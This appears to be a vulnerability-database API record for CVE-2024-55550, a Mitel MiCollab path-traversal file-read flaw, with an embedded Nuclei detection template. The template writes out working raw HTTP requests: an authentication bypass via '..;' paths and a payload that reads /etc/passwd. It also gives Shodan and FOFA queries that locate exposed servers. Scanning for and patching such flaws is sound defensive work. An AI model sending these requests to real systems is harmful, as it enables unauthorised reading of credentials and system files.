{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-55550/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-55550/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-55550/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-55550/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-55550/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-55550"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-55550"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2024/CVE-2024-55550.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2024-55550\n\ninfo:\n  name: Mitel MiCollab - Arbitary File Read\n  author: DhiyaneshDk,watchTowr\n  severity: critical\n  description: |\n    The Mitel Collab Arbitrary File Read vulnerability allows an unauthenticated attacker to read arbitrary files from the underlying file system on a Mitel Collab server. Exploiting this flaw involves sending specially crafted requests to the server, bypassing access controls and allowing the attacker to retrieve sensitive files.\n  impact: |\n    Unauthenticated attackers can bypass authentication and exploit path traversal to read arbitrary files from the MiCollab server, exposing sensitive configuration, credentials, and system data.\n  remediation: |\n    Update Mitel MiCollab according to MISA-2024-0029 advisory to address the authentication bypass and path traversal vulnerabilities.\n  reference:\n    - https://github.com/watchtowrlabs/Mitel-MiCollab-Auth-Bypass_CVE-2024-41713\n    - https://labs.watchtowr.com/where-theres-smoke-theres-fire-mitel-micollab-cve-2024-35286-cve-2024-41713-and-an-0day/\n    - https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-misa-2024-0029\n  classification:\n    cve-id: CVE-2024-55550\n    cwe-id: CWE-22\n    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 4.4\n    epss-score: 0.37899\n    epss-percentile: 0.98484\n    cpe: cpe:2.3:a:mitel:micollab:*:*:*:*:*:-:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: mitel\n    product: cmg_suite\n    shodan-query: http.html:\"Mitel Networks\"\n    fofa-query: body=\"mitel networks\"\n  tags: cve,cve2024,mitel,lfi,cmg-suite,auth-bypass,kev,vkev,vuln\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /npm-pwg/..;/usp/searchUsers.do HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"users\"\n          - \"Network Element\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /npm-pwg/..;/ReconcileWizard/reconcilewizard/sc/IDACall?isc_rpc=1&isc_v=&isc_tnum=2 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        _transaction=%3Ctransaction+xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2F10%2FXMLSchema-instance%22+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CtransactionNum+xsi%3Atype%3D%22xsd%3Along%22%3E2%3C%2FtransactionNum%3E%3Coperations+xsi%3Atype%3D%22xsd%3AList%22%3E%3Celem+xsi%3Atype%3D%22xsd%3AObject%22%3E%3Ccriteria+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CreportName%3E..%2F..%2F..%2Fetc%2Fpasswd%3C%2FreportName%3E%3C%2Fcriteria%3E%3CoperationConfig+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CdataSource%3Esummary_reports%3C%2FdataSource%3E%3CoperationType%3Efetch%3C%2FoperationType%3E%3C%2FoperationConfig%3E%3CappID%3EbuiltinApplication%3C%2FappID%3E%3Coperation%3EdownloadReport%3C%2Foperation%3E%3ColdValues+xsi%3Atype%3D%22xsd%3AObject%22%3E%3CreportName%3Ex.txt%3C%2FreportName%3E%3C%2FoldValues%3E%3C%2Felem%3E%3C%2Foperations%3E%3Cjscallback%3Ex%3C%2Fjscallback%3E%3C%2Ftransaction%3E&protocolVersion=1.0&__iframeTarget__=x\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n          - \"micollab_api:.*:.*\"\n# digest: 4a0a00473045022100d9f1ad9f0b7270529784ff6a687a763eed1a2ed4f8ac81a3b801b9b8d44b99390220091652b8f68d6ea6e44c802165aa31e86855a5b155913e34a0c818afbe193695:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2024-55550"
}